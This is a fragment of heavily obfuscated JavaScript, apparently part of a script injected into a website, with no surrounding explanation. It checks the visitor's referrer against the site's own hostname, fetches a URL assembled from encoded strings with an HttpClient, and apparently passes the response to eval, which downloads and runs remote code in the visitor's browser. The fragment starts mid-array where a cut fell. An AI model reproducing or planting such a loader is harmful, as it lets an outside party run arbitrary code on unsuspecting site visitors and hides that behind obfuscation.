oota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};